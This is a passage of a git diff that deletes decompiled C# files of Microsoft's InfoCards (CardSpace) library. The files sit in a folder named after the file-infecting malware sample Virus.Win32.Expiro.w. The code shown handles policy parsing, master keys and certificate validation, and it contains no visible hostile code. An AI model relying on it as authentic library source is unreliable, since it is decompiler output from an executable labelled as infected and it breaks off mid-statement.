false)) - { - if (registryKey != null) - { - object obj1 = registryKey.GetValue(nameof (MaximumMessageSize), (object) 20971520); - if (obj1 is int num1 && num1 > 0 && (int) obj1 * 1024 > 0) - InfoCardConstants.s_maxMessageSize = (int) obj1 * 1024; - object obj2 = registryKey.GetValue("MaximumMexChain", (object) 100); - if (obj2 is int num2) - { - if (num2 > 0) - InfoCardConstants.s_maxMexChainLength = (int) obj2; - } - } - } - } - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SecondaryParameters"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyWrapAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/RequestSecurityTokenTemplate"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/RequestSecurityTokenTemplate"); - InfoCardConstants.s_policyElementsToBeProcessed.AddRange((IEnumerable) InfoCardConstants.s_localTokenFactoryWhiteList); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://schemas.xmlsoap.org/ws/2004/09/policy/AppliesTo"); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://www.w3.org/ns/ws-policy/AppliesTo"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardListRequest.cs deleted file mode 100644 index 5b7ae344..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardListRequest.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class InfoCardListRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private IList m_allCards; - - public InfoCardListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - IList allCards = this.GetAllCards(); - if (allCards == null || allCards.Count == 0) - return; - IList infoCardList = (IList) new List(allCards.Count); - for (int index = 0; index < allCards.Count; ++index) - { - byte[] dataField = allCards[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - infoCardList.Add(new InfoCard((Stream) memoryStream)); - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - this.m_allCards = infoCardList; - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - if (this.m_allCards != null && this.m_allCards.Count != 0) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - binaryWriter.Write(this.m_allCards.Count); - for (int index = 0; index < this.m_allCards.Count; ++index) - { - binaryWriter.Flush(); - this.m_allCards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - binaryWriter.Flush(); - } - finally - { - if (this.m_allCards != null) - { - foreach (InfoCard allCard in (IEnumerable) this.m_allCards) - allCard.ClearSensitiveData(); - } - connection.Close(); - } - } - else - binaryWriter.Write(0); - } - - private IList GetAllCards() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - return (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - })); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMasterKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMasterKey.cs deleted file mode 100644 index 6bf13462..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMasterKey.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMasterKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMasterKey - { - private const byte Marker = 29; - private const byte Version = 1; - private Uri m_infoCardId; - private byte[] m_key; - - public InfoCardMasterKey(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public InfoCardMasterKey(Uri infoCardId, byte[] key) - { - this.m_infoCardId = infoCardId; - this.m_key = key; - } - - public static InfoCardMasterKey NewMasterKey(Uri infoCardId) - { - InfoCardMasterKey infoCardMasterKey = new InfoCardMasterKey(infoCardId); - InfoCardTrace.Assert(null == infoCardMasterKey.m_key, "Should be null"); - infoCardMasterKey.m_key = InfoCardMasterKey.GenerateKey(); - return infoCardMasterKey; - } - - public byte[] Key => this.m_key; - - private static byte[] GenerateKey() - { - byte[] data = new byte[32]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard id before calling Get"); - InfoCardTrace.Assert(con != null, "null connection"); - this.Deserialize((Stream) new MemoryStream(this.GetRow(con, QueryDetails.FullRow).GetDataField())); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert(con != null, "null connection"); - this.ThrowIfNotComplete(); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_masterkey", (object) this.m_key); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public void ThrowIfNotComplete() - { - if (!((Uri) null != this.m_infoCardId) || Utility.ArrayIsNullOrEmpty((Array) this.m_key)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Encrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.EncryptMasterKey(this.m_key); - - public void Decrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.DecryptMasterKey(this.m_key); - - public PinProtectionHelper GetPinHelper(string pin) => new PinProtectionHelper(pin, this.m_key); - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - Utility.SerializeBytes(writer, this.m_key); - writer.Write((byte) 29); - } - - private void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Master key version mismatch"); - this.m_key = binaryReader.ReadBytes(binaryReader.ReadInt32()); - if ((byte) 29 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected"); - this.ThrowIfNotComplete(); - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(row != null && 3 == row.ObjectType, "invalid service object type"); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate cardid before retrieving row"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 3 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs deleted file mode 100644 index 2b30bfe7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMetadataExchangeClient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Net; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMetadataExchangeClient : MetadataExchangeClient - { - private HttpWebRequest m_currentHttpGetRequest; - private object m_abortSync; - private bool m_aborted; - private IWebProxy m_proxy; - - public static CustomBinding CreateBindingForMex() - { - HttpsTransportBindingElement transportBindingElement = new HttpsTransportBindingElement(); - InfoCardTrace.Assert(AuthenticationSchemes.Anonymous == transportBindingElement.AuthenticationScheme, "AuthenticationScheme must be Anonymous and not NTLM/Negotiate"); - return new CustomBinding(new BindingElement[2] - { - (BindingElement) new TextMessageEncodingBindingElement(), - (BindingElement) transportBindingElement - }); - } - - public InfoCardMetadataExchangeClient() - : base((Binding) InfoCardMetadataExchangeClient.CreateBindingForMex()) - { - this.m_abortSync = new object(); - } - - public IWebProxy Proxy - { - set => this.m_proxy = value; - } - - public void Abort() - { - lock (this.m_abortSync) - { - if (this.m_currentHttpGetRequest != null) - this.m_currentHttpGetRequest.Abort(); - else - base.GetChannelFactory((EndpointAddress) null, (string) null, (string) null)?.Abort(); - this.m_aborted = true; - } - } - - protected internal override HttpWebRequest GetWebRequest( - Uri location, - string dialect, - string identifier) - { - if (string.Compare(location.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) location.AbsoluteUri))); - HttpWebRequest webRequest = base.GetWebRequest(location, dialect, identifier); - InfoCardTrace.Assert(null == webRequest.Credentials, "No creds should be set"); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - webRequest.Proxy = this.m_proxy; - lock (this.m_abortSync) - { - if (this.m_aborted) - webRequest.Abort(); - return this.m_currentHttpGetRequest = webRequest; - } - } - - protected internal override ChannelFactory GetChannelFactory( - EndpointAddress metadataAddress, - string dialect, - string identifier) - { - if ((EndpointAddress) null != metadataAddress && string.Compare(metadataAddress.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) metadataAddress.Uri.AbsoluteUri))); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - ChannelFactory channelFactory = base.GetChannelFactory(metadataAddress, dialect, identifier); - channelFactory.Endpoint.Binding = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(channelFactory.Endpoint.Binding.CreateBindingElements(), this.m_proxy, true)); - lock (this.m_abortSync) - { - if (this.m_aborted) - channelFactory.Abort(); - } - return channelFactory; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs deleted file mode 100644 index 7e2782e5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardOfflineChainTrustValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardOfflineChainTrustValidator : X509CertificateValidator - { - private bool m_useMachineContext; - - public InfoCardOfflineChainTrustValidator(bool useMachineContext) => this.m_useMachineContext = useMachineContext; - - public override void Validate(X509Certificate2 certificate) - { - X509Chain chain; - this.Validate(certificate, (X509Certificate2Collection) null, out chain); - chain = (X509Chain) null; - } - - public void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - if (certificate == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (certificate)); - chain = new X509Chain(this.m_useMachineContext); - if (supportingCerts != null) - chain.ChainPolicy.ExtraStore.AddRange(supportingCerts); - chain.ChainPolicy.RevocationFlag = X509RevocationFlag.ExcludeRoot; - chain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.IgnoreEndRevocationUnknown | X509VerificationFlags.IgnoreCtlSignerRevocationUnknown | X509VerificationFlags.IgnoreCertificateAuthorityRevocationUnknown | X509VerificationFlags.IgnoreRootRevocationUnknown; - if (!chain.Build(certificate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainBuildFail", (object) InfoCardOfflineChainTrustValidator.GetCertificateId(certificate), (object) InfoCardOfflineChainTrustValidator.GetChainStatusInformation(chain.ChainStatus)))); - } - - internal static string GetCertificateId(X509Certificate2 certificate) - { - StringBuilder str = new StringBuilder(256); - InfoCardOfflineChainTrustValidator.AppendCertificateIdentityName(str, certificate); - return str.ToString(); - } - - private static string GetChainStatusInformation(X509ChainStatus[] chainStatus) - { - if (chainStatus == null) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(256); - for (int index = 0; index < chainStatus.Length; ++index) - { - if (X509ChainStatusFlags.RevocationStatusUnknown != chainStatus[index].Status && X509ChainStatusFlags.OfflineRevocation != chainStatus[index].Status) - { - stringBuilder.Append(chainStatus[index].StatusInformation); - stringBuilder.Append(" "); - } - } - return stringBuilder.ToString(); - } - - private static void AppendCertificateIdentityName( - StringBuilder str, - X509Certificate2 certificate) - { - string str1 = certificate.SubjectName.Name; - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.DnsName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.SimpleName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.EmailName, false); - if (string.IsNullOrEmpty(str1)) - str1 = certificate.GetNameInfo(X509NameType.UpnName, false); - } - } - } - str.Append(string.IsNullOrEmpty(str1) ? "" : str1); - str.Append("; "); - str.Append(certificate.Thumbprint); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardPolicy.cs deleted file mode 100644 index 6934f9e6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardPolicy.cs +++ /dev/null @@ -1,237 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardPolicy - { - private static XmlNamespaceManager m_defNamespaces = XmlNames.CreateNamespaceManager((XmlNameTable) new NameTable()); - private EndpointAddress m_issuer; - private string m_privacyPolicyLink = string.Empty; - private uint m_privacyPolicyVersion; - private bool m_isManaged; - private bool m_requiresManagedCard; - private RecipientIdentity m_immediateTokenRecipientIdentity; - private RecipientIdentity m_recipientIdentity; - private Policy m_policyPrimary; - private Policy m_policySecondary; - private Policy m_policyMerged; - private readonly PolicyUsageContext m_policyUsageContext; - - public InfoCardPolicy( - EndpointAddress immediateTokenRecipient, - EndpointAddress issuer, - ParsedPolicy policy, - PolicyUsageContext policyUsageContext, - string privacyUrl, - uint privacyVersion, - RecipientIdentity recipientIdentity, - bool isManaged) - { - this.m_policyUsageContext = policyUsageContext; - this.m_issuer = issuer; - this.m_recipientIdentity = recipientIdentity; - this.m_immediateTokenRecipientIdentity = RecipientIdentity.CreateIdentity(immediateTokenRecipient, false); - this.m_isManaged = isManaged; - if (policy != null) - this.ParseIncomingPolicy(policy); - if (!InfoCardPolicy.IsSelfIssuedUriPresent(this.m_issuer) && issuer != (EndpointAddress) null && !Utility.CompareUri(issuer.Uri, new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"))) - this.m_requiresManagedCard = true; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ParseIncomingPolicy(ParsedPolicy parsedPolicy) - { - if (PolicyType.Composite == parsedPolicy.PolicyType) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = Policy.CreateMergedPolicy(parsedPolicy.PolicyXmlOriginal, this.m_policyPrimary, this.m_policySecondary); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else if (parsedPolicy.PolicyType == PolicyType.PrimaryOnly) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policyMerged = this.m_policyPrimary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else - { - if (PolicyType.SecondaryOnly != parsedPolicy.PolicyType) - return; - try - { - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = this.m_policySecondary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - } - - public Policy MergedPolicy => this.m_policyMerged; - - public string RequestType => this.m_policyMerged.RequestType; - - public Policy ClientPolicy => this.m_policyPrimary; - - public Policy RelyingPartyPolicy => this.m_policySecondary; - - public OptionalRstParameters OptionalRstParams => this.m_policyMerged.OptionalRstParams; - - public string[] RequiredClaims => this.m_policyMerged.RequiredClaims; - - public string[] OptionalClaims => this.m_policyMerged.OptionalClaims; - - public SecurityKeyTypeInternal KeyType => this.m_policyMerged.KeyType; - - public bool KeyTypeSpecified => this.m_policyMerged.KeyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyMerged.PolicyAppliesTo; - - public MemoryStream UnprocessedPolicyElements => this.m_policyMerged.UnprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_policyMerged.KeySizeSpecified; - - public uint KeySize => this.m_policyMerged.KeySize; - - public bool NonWhiteListElementsFound => this.m_policyMerged.NonWhiteListElementsFound; - - public List NonWhiteListElements => this.m_policyMerged.NonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_policyMerged.ProtocolVersionProfile; - - public RecipientIdentity ImmediateTokenRecipient => this.m_immediateTokenRecipientIdentity; - - public EndpointAddress Issuer => this.m_issuer; - - public RecipientIdentity Recipient => this.m_recipientIdentity; - - public uint GetIntelligentKeySize(bool isSelfIssuedCardSelected) - { - if (isSelfIssuedCardSelected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - if (SecurityKeyTypeInternal.AsymmetricKey == this.KeyType) - return 2048; - if (this.KeyType == SecurityKeyTypeInternal.SymmetricKey) - return !this.KeySizeSpecified ? (uint) SecurityAlgorithmSuite.Default.DefaultSymmetricKeyLength : this.KeySize; - InfoCardTrace.Assert(false, "Should access this property only in managed card non-no proof key scenario"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - - public string GetKeyTypeString() - { - switch (this.KeyType) - { - case SecurityKeyTypeInternal.SymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.ToString(); - case SecurityKeyTypeInternal.AsymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.ToString(); - case SecurityKeyTypeInternal.NoKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString(); - default: - InfoCardTrace.Assert(false, "Impossible condition in code"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - } - - public string PrivacyPolicyLink => this.m_privacyPolicyLink; - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public bool IsManaged => this.m_isManaged; - - public bool RequiresManagedCard => this.m_requiresManagedCard; - - public bool RequiresSelfIssuedCard => !((EndpointAddress) null == this.m_issuer) && Utility.CompareUri(this.m_issuer.Uri, new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self")); - - public void SetRecipientInfo( - RecipientIdentity recipientIdentity, - string privacyUrl, - uint privacyVersion) - { - this.m_recipientIdentity = recipientIdentity; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ComputeRequiresManagedCardFlag() - { - if (this.m_policyMerged.NonWhiteListElementsFound) - this.m_requiresManagedCard = true; - foreach (string requiredClaim in this.m_policyMerged.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.m_requiresManagedCard = true; - } - if (!string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.TokenType) && !PolicyUtility.IsSelfIssuedTokenType(this.m_policyMerged.OptionalRstParams.TokenType)) - this.m_requiresManagedCard = true; - if (!(this.m_immediateTokenRecipientIdentity is X509RecipientIdentity) && this.m_policyMerged.KeyType == SecurityKeyTypeInternal.SymmetricKey) - this.m_requiresManagedCard = true; - if (string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.m_requiresManagedCard = true; - } - - private void FillComputedPolicy() => this.ComputeRequiresManagedCardFlag(); - - public void Validate() - { - bool flag = this.m_policyMerged.RequiredClaims == null || 0 == this.m_policyMerged.RequiredClaims.Length; - PolicyValidator policyValidator; - if (this.m_policyUsageContext == PolicyUsageContext.Browser) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = (PolicyValidator) new BrowserPolicyValidator(this); - } - else if (PolicyUsageContext.GetToken == this.m_policyUsageContext) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = new PolicyValidator(this); - } - else - policyValidator = (PolicyValidator) new IntermediatePolicyValidator(this); - policyValidator.Validate(); - } - - public void ThrowIfNonPpidClaimsPresent() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_policyMerged.RequiredClaims == null || this.m_policyMerged.OptionalClaims == null, "claims"); - if (this.m_policyMerged.RequiredClaims.Length != 1 || !(this.m_policyMerged.RequiredClaims[0] == InfoCardConstants.PPIDClaimsUri) || this.m_policyMerged.OptionalClaims.Length != 0) - throw 